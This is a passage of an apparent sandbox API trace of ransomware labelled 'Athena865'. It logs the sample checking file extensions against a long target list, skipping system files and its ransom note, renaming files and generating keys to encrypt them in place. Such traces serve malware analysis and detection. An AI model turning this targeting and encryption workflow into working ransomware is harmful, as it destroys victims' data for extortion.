[0138.296] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0138.296] lstrlenW (lpString="mdt") returned 3 [0138.296] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0138.296] lstrlenW (lpString="mfd") returned 3 [0138.296] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0138.296] lstrlenW (lpString="mpd") returned 3 [0138.296] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0138.296] lstrlenW (lpString="mrg") returned 3 [0138.296] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0138.296] lstrlenW (lpString="mud") returned 3 [0138.296] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0138.296] lstrlenW (lpString="mwb") returned 3 [0138.296] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0138.296] lstrlenW (lpString="myd") returned 3 [0138.296] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0138.296] lstrlenW (lpString="ndf") returned 3 [0138.296] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0138.296] lstrlenW (lpString="nnt") returned 3 [0138.296] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0138.296] lstrlenW (lpString="nrmlib") returned 6 [0138.297] lstrcmpiW (lpString1="34.WMF", lpString2="nrmlib") returned -1 [0138.297] lstrlenW (lpString="ns2") returned 3 [0138.297] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0138.297] lstrlenW (lpString="ns3") returned 3 [0138.297] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0138.297] lstrlenW (lpString="ns4") returned 3 [0138.297] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0138.297] lstrlenW (lpString="nsf") returned 3 [0138.297] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0138.297] lstrlenW (lpString="nv") returned 2 [0138.297] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0138.297] lstrlenW (lpString="nv2") returned 3 [0138.297] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0138.297] lstrlenW (lpString="nwdb") returned 4 [0138.297] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0138.297] lstrlenW (lpString="nyf") returned 3 [0138.297] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0138.297] lstrlenW (lpString="odb") returned 3 [0138.297] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.297] lstrlenW (lpString="odb") returned 3 [0138.297] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.297] lstrlenW (lpString="oqy") returned 3 [0138.297] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0138.297] lstrlenW (lpString="ora") returned 3 [0138.297] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0138.297] lstrlenW (lpString="orx") returned 3 [0138.297] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0138.297] lstrlenW (lpString="owc") returned 3 [0138.297] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0138.298] lstrlenW (lpString="p96") returned 3 [0138.298] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0138.298] lstrlenW (lpString="p97") returned 3 [0138.298] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0138.298] lstrlenW (lpString="pan") returned 3 [0138.298] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0138.298] lstrlenW (lpString="pdb") returned 3 [0138.298] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0138.298] lstrlenW (lpString="pdm") returned 3 [0138.298] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0138.298] lstrlenW (lpString="pnz") returned 3 [0138.298] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0138.298] lstrlenW (lpString="qry") returned 3 [0138.298] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0138.298] lstrlenW (lpString="qvd") returned 3 [0138.298] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0138.298] lstrlenW (lpString="rbf") returned 3 [0138.298] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0138.298] lstrlenW (lpString="rctd") returned 4 [0138.298] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0138.298] lstrlenW (lpString="rod") returned 3 [0138.298] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0138.298] lstrlenW (lpString="rodx") returned 4 [0138.298] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0138.298] lstrlenW (lpString="rpd") returned 3 [0138.298] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0138.298] lstrlenW (lpString="rsd") returned 3 [0138.298] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0138.299] lstrlenW (lpString="sas7bdat") returned 8 [0138.299] lstrcmpiW (lpString1="5534.WMF", lpString2="sas7bdat") returned -1 [0138.299] lstrlenW (lpString="sbf") returned 3 [0138.299] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0138.299] lstrlenW (lpString="scx") returned 3 [0138.299] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0138.299] lstrlenW (lpString="sdb") returned 3 [0138.299] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0138.299] lstrlenW (lpString="sdc") returned 3 [0138.299] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0138.299] lstrlenW (lpString="sdf") returned 3 [0138.299] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0138.299] lstrlenW (lpString="sis") returned 3 [0138.299] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0138.299] lstrlenW (lpString="spq") returned 3 [0138.299] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0138.299] lstrlenW (lpString="te") returned 2 [0138.299] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0138.299] lstrlenW (lpString="teacher") returned 7 [0138.299] lstrcmpiW (lpString1="534.WMF", lpString2="teacher") returned -1 [0138.299] lstrlenW (lpString="tmd") returned 3 [0138.299] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0138.299] lstrlenW (lpString="tps") returned 3 [0138.299] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0138.299] lstrlenW (lpString="trc") returned 3 [0138.299] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.299] lstrlenW (lpString="trc") returned 3 [0138.299] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.299] lstrlenW (lpString="trm") returned 3 [0138.300] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0138.300] lstrlenW (lpString="udb") returned 3 [0138.300] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0138.300] lstrlenW (lpString="udl") returned 3 [0138.300] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0138.300] lstrlenW (lpString="usr") returned 3 [0138.300] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0138.300] lstrlenW (lpString="v12") returned 3 [0138.300] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0138.300] lstrlenW (lpString="vis") returned 3 [0138.300] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0138.300] lstrlenW (lpString="vpd") returned 3 [0138.300] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0138.300] lstrlenW (lpString="vvv") returned 3 [0138.300] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0138.300] lstrlenW (lpString="wdb") returned 3 [0138.300] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0138.300] lstrlenW (lpString="wmdb") returned 4 [0138.300] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0138.300] lstrlenW (lpString="wrk") returned 3 [0138.300] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0138.300] lstrlenW (lpString="xdb") returned 3 [0138.300] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0138.300] lstrlenW (lpString="xld") returned 3 [0138.300] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0138.300] lstrlenW (lpString="xmlff") returned 5 [0138.300] lstrcmpiW (lpString1="4.WMF", lpString2="xmlff") returned -1 [0138.300] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF.Athena865") returned 71 [0138.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf.athena865"), dwFlags=0x1) returned 1 [0138.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.309] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10076) returned 1 [0138.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.318] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.319] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.324] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.324] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.324] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a60, lpName=0x0) returned 0x154 [0138.325] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a60) returned 0x100000 [0138.327] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.328] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.328] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.329] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.329] CloseHandle (hObject=0x154) returned 1 [0138.329] CloseHandle (hObject=0x17c) returned 1 [0138.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.329] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1 [0138.329] lstrcmpiW (lpString1="J0195812.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.329] lstrcmpiW (lpString1="J0195812.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.329] lstrcmpiW (lpString1="J0195812.WMF", lpString2=".") returned 1 [0138.329] lstrcmpiW (lpString1="J0195812.WMF", lpString2="..") returned 1 [0138.329] lstrcmpiW (lpString1="J0195812.WMF", lpString2="windows") returned -1 [0138.329] lstrcmpiW (lpString1="J0195812.WMF", lpString2="bootmgr") returned 1 [0138.329] lstrcmpiW (lpString1="J0195812.WMF", lpString2="temp") returned -1 [0138.329] lstrcmpiW (lpString1="J0195812.WMF", lpString2="pagefile.sys") returned -1 [0138.329] lstrcmpiW (lpString1="J0195812.WMF", lpString2="boot") returned 1 [0138.330] lstrcmpiW (lpString1="J0195812.WMF", lpString2="ids.txt") returned 1 [0138.330] lstrcmpiW (lpString1="J0195812.WMF", lpString2="ntuser.dat") returned -1 [0138.330] lstrcmpiW (lpString1="J0195812.WMF", lpString2="perflogs") returned -1 [0138.330] lstrcmpiW (lpString1="J0195812.WMF", lpString2="MSBuild") returned -1 [0138.330] lstrlenW (lpString="J0195812.WMF") returned 12 [0138.330] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0195812.WMF" | out: lpString1="J0195812.WMF") returned="J0195812.WMF" [0138.330] lstrlenW (lpString="J0195812.WMF") returned 12 [0138.330] lstrlenW (lpString="Athena865") returned 9 [0138.330] lstrcmpiW (lpString1="95812.WMF", lpString2="Athena865") returned -1 [0138.330] lstrlenW (lpString=".dll") returned 4 [0138.330] lstrcmpiW (lpString1="J0195812.WMF", lpString2=".dll") returned 1 [0138.330] lstrlenW (lpString=".lnk") returned 4 [0138.330] lstrcmpiW (lpString1="J0195812.WMF", lpString2=".lnk") returned 1 [0138.330] lstrlenW (lpString=".ini") returned 4 [0138.330] lstrcmpiW (lpString1="J0195812.WMF", lpString2=".ini") returned 1 [0138.330] lstrlenW (lpString=".sys") returned 4 [0138.330] lstrcmpiW (lpString1="J0195812.WMF", lpString2=".sys") returned 1 [0138.330] lstrlenW (lpString="J0195812.WMF") returned 12 [0138.330] lstrlenW (lpString="bak") returned 3 [0138.330] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.330] lstrlenW (lpString="ba_") returned 3 [0138.330] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.330] lstrlenW (lpString="dbb") returned 3 [0138.330] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.330] lstrlenW (lpString="vmdk") returned 4 [0138.330] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.330] lstrlenW (lpString="rar") returned 3 [0138.331] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.331] lstrlenW (lpString="zip") returned 3 [0138.331] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.331] lstrlenW (lpString="tgz") returned 3 [0138.331] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.331] lstrlenW (lpString="vbox") returned 4 [0138.331] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.331] lstrlenW (lpString="vdi") returned 3 [0138.331] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.331] lstrlenW (lpString="vhd") returned 3 [0138.331] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.331] lstrlenW (lpString="vhdx") returned 4 [0138.331] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.331] lstrlenW (lpString="avhd") returned 4 [0138.331] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.331] lstrlenW (lpString="db") returned 2 [0138.331] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.331] lstrlenW (lpString="db2") returned 3 [0138.331] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.331] lstrlenW (lpString="db3") returned 3 [0138.331] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0138.331] lstrlenW (lpString="dbf") returned 3 [0138.331] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.331] lstrlenW (lpString="mdf") returned 3 [0138.331] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.332] lstrlenW (lpString="mdb") returned 3 [0138.332] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.332] lstrlenW (lpString="sql") returned 3 [0138.332] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.332] lstrlenW (lpString="sqlite") returned 6 [0138.332] lstrcmpiW (lpString1="12.WMF", lpString2="sqlite") returned -1 [0138.332] lstrlenW (lpString="sqlite3") returned 7 [0138.332] lstrcmpiW (lpString1="812.WMF", lpString2="sqlite3") returned -1 [0138.332] lstrlenW (lpString="sqlitedb") returned 8 [0138.332] lstrcmpiW (lpString1="5812.WMF", lpString2="sqlitedb") returned -1 [0138.332] lstrlenW (lpString="xml") returned 3 [0138.332] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.332] lstrlenW (lpString="$er") returned 3 [0138.332] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0138.332] lstrlenW (lpString="4dd") returned 3 [0138.332] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.332] lstrlenW (lpString="4dl") returned 3 [0138.332] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.332] lstrlenW (lpString="^^^") returned 3 [0138.332] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.332] lstrlenW (lpString="abs") returned 3 [0138.332] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.332] lstrlenW (lpString="abx") returned 3 [0138.332] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.332] lstrlenW (lpString="accdb") returned 5 [0138.332] lstrcmpiW (lpString1="2.WMF", lpString2="accdb") returned -1 [0138.332] lstrlenW (lpString="accdc") returned 5 [0138.332] lstrcmpiW (lpString1="2.WMF", lpString2="accdc") returned -1 [0138.333] lstrlenW (lpString="accde") returned 5 [0138.333] lstrcmpiW (lpString1="2.WMF", lpString2="accde") returned -1 [0138.333] lstrlenW (lpString="accdr") returned 5 [0138.333] lstrcmpiW (lpString1="2.WMF", lpString2="accdr") returned -1 [0138.333] lstrlenW (lpString="accdt") returned 5 [0138.333] lstrcmpiW (lpString1="2.WMF", lpString2="accdt") returned -1 [0138.333] lstrlenW (lpString="accdw") returned 5 [0138.333] lstrcmpiW (lpString1="2.WMF", lpString2="accdw") returned -1 [0138.333] lstrlenW (lpString="accft") returned 5 [0138.333] lstrcmpiW (lpString1="2.WMF", lpString2="accft") returned -1 [0138.333] lstrlenW (lpString="adb") returned 3 [0138.333] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.333] lstrlenW (lpString="adb") returned 3 [0138.333] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.333] lstrlenW (lpString="ade") returned 3 [0138.333] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.333] lstrlenW (lpString="adf") returned 3 [0138.333] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.333] lstrlenW (lpString="adn") returned 3 [0138.333] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.333] lstrlenW (lpString="adp") returned 3 [0138.333] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.333] lstrlenW (lpString="alf") returned 3 [0138.333] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.333] lstrlenW (lpString="ask") returned 3 [0138.333] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.333] lstrlenW (lpString="btr") returned 3 [0138.333] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.333] lstrlenW (lpString="cat") returned 3 [0138.333] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.334] lstrlenW (lpString="cdb") returned 3 [0138.334] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0138.334] lstrlenW (lpString="ckp") returned 3 [0138.334] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.334] lstrlenW (lpString="cma") returned 3 [0138.334] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.334] lstrlenW (lpString="cpd") returned 3 [0138.334] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.334] lstrlenW (lpString="dacpac") returned 6 [0138.334] lstrcmpiW (lpString1="12.WMF", lpString2="dacpac") returned -1 [0138.334] lstrlenW (lpString="dad") returned 3 [0138.334] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.334] lstrlenW (lpString="dadiagrams") returned 10 [0138.334] lstrcmpiW (lpString1="195812.WMF", lpString2="dadiagrams") returned -1 [0138.334] lstrlenW (lpString="daschema") returned 8 [0138.334] lstrcmpiW (lpString1="5812.WMF", lpString2="daschema") returned -1 [0138.334] lstrlenW (lpString="db-journal") returned 10 [0138.334] lstrcmpiW (lpString1="195812.WMF", lpString2="db-journal") returned -1 [0138.334] lstrlenW (lpString="db-shm") returned 6 [0138.334] lstrcmpiW (lpString1="12.WMF", lpString2="db-shm") returned -1 [0138.334] lstrlenW (lpString="db-wal") returned 6 [0138.334] lstrcmpiW (lpString1="12.WMF", lpString2="db-wal") returned -1 [0138.334] lstrlenW (lpString="dbc") returned 3 [0138.334] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.334] lstrlenW (lpString="dbs") returned 3 [0138.334] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.334] lstrlenW (lpString="dbt") returned 3 [0138.334] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.335] lstrlenW (lpString="dbv") returned 3 [0138.335] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.335] lstrlenW (lpString="dbx") returned 3 [0138.335] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.335] lstrlenW (lpString="dcb") returned 3 [0138.335] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.335] lstrlenW (lpString="dct") returned 3 [0138.335] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.335] lstrlenW (lpString="dcx") returned 3 [0138.335] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0138.335] lstrlenW (lpString="ddl") returned 3 [0138.335] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0138.335] lstrlenW (lpString="dlis") returned 4 [0138.335] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0138.335] lstrlenW (lpString="dp1") returned 3 [0138.335] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0138.335] lstrlenW (lpString="dqy") returned 3 [0138.335] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0138.335] lstrlenW (lpString="dsk") returned 3 [0138.335] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0138.335] lstrlenW (lpString="dsn") returned 3 [0138.335] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0138.335] lstrlenW (lpString="dtsx") returned 4 [0138.335] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0138.335] lstrlenW (lpString="dxl") returned 3 [0138.335] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0138.335] lstrlenW (lpString="eco") returned 3 [0138.335] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0138.336] lstrlenW (lpString="ecx") returned 3 [0138.336] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0138.336] lstrlenW (lpString="edb") returned 3 [0138.336] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0138.336] lstrlenW (lpString="epim") returned 4 [0138.336] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0138.336] lstrlenW (lpString="fcd") returned 3 [0138.336] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0138.336] lstrlenW (lpString="fdb") returned 3 [0138.336] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0138.336] lstrlenW (lpString="fic") returned 3 [0138.336] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0138.336] lstrlenW (lpString="flexolibrary") returned 12 [0138.336] lstrlenW (lpString="fm5") returned 3 [0138.336] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0138.336] lstrlenW (lpString="fmp") returned 3 [0138.336] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0138.336] lstrlenW (lpString="fmp12") returned 5 [0138.336] lstrcmpiW (lpString1="2.WMF", lpString2="fmp12") returned -1 [0138.336] lstrlenW (lpString="fmpsl") returned 5 [0138.336] lstrcmpiW (lpString1="2.WMF", lpString2="fmpsl") returned -1 [0138.336] lstrlenW (lpString="fol") returned 3 [0138.336] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0138.336] lstrlenW (lpString="fp3") returned 3 [0138.336] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0138.336] lstrlenW (lpString="fp4") returned 3 [0138.336] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0138.336] lstrlenW (lpString="fp5") returned 3 [0138.336] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0138.337] lstrlenW (lpString="fp7") returned 3 [0138.337] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0138.337] lstrlenW (lpString="fpt") returned 3 [0138.337] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0138.337] lstrlenW (lpString="frm") returned 3 [0138.337] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0138.337] lstrlenW (lpString="gdb") returned 3 [0138.337] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.337] lstrlenW (lpString="gdb") returned 3 [0138.337] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.337] lstrlenW (lpString="grdb") returned 4 [0138.337] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0138.337] lstrlenW (lpString="gwi") returned 3 [0138.337] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0138.337] lstrlenW (lpString="hdb") returned 3 [0138.337] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0138.337] lstrlenW (lpString="his") returned 3 [0138.337] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0138.337] lstrlenW (lpString="ib") returned 2 [0138.337] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0138.337] lstrlenW (lpString="idb") returned 3 [0138.337] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0138.337] lstrlenW (lpString="ihx") returned 3 [0138.337] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0138.337] lstrlenW (lpString="itdb") returned 4 [0138.337] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0138.337] lstrlenW (lpString="itw") returned 3 [0138.337] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0138.337] lstrlenW (lpString="jet") returned 3 [0138.338] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0138.338] lstrlenW (lpString="jtx") returned 3 [0138.338] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0138.338] lstrlenW (lpString="kdb") returned 3 [0138.338] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0138.338] lstrlenW (lpString="kexi") returned 4 [0138.338] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0138.338] lstrlenW (lpString="kexic") returned 5 [0138.338] lstrcmpiW (lpString1="2.WMF", lpString2="kexic") returned -1 [0138.338] lstrlenW (lpString="kexis") returned 5 [0138.338] lstrcmpiW (lpString1="2.WMF", lpString2="kexis") returned -1 [0138.338] lstrlenW (lpString="lgc") returned 3 [0138.338] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0138.338] lstrlenW (lpString="lwx") 